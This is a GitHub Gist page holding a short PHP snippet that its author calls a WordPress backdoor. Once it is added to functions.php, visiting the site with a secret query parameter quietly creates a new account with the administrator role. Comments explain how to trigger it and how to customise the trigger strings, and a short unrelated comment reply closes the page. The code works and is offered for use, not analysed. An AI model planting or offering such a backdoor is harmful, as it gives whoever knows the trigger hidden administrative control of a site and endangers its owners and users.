Created
April 25, 2019 07:15
-
-
Save abid112/0a03c50678db2ba5f30a55b2291165a8 to your computer and use it in GitHub Desktop.
This is like a backdoor of your WordPress site. This lines of code will generate user, password as a admin role by URL hit.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Hit this URL after put code on functions.php : http://www.yourdomain.com/?backdoor=knockknock | |
//It will create username= name ; password= pass ; role= administrator on your wordpress backend users. | |
//After that you can login on your site with this username and password. | |
//change the 'backdoor' , 'knockknock' , 'name', 'pass' string on your code as your desire texts | |
<?php | |
add_action('wp_head', 'wploop_backdoor'); | |
function wploop_backdoor() { | |
If ($_GET['backdoor'] == 'knockknock') { | |
require('wp-includes/registration.php'); | |
If (!username_exists('username')) { | |
$user_id = wp_create_user('name', 'pass'); | |
$user = new WP_User($user_id); | |
$user->set_role('administrator'); | |
} | |
} | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hi @azharanowar,
You can do it with get_bloginfo() and WP Email Hook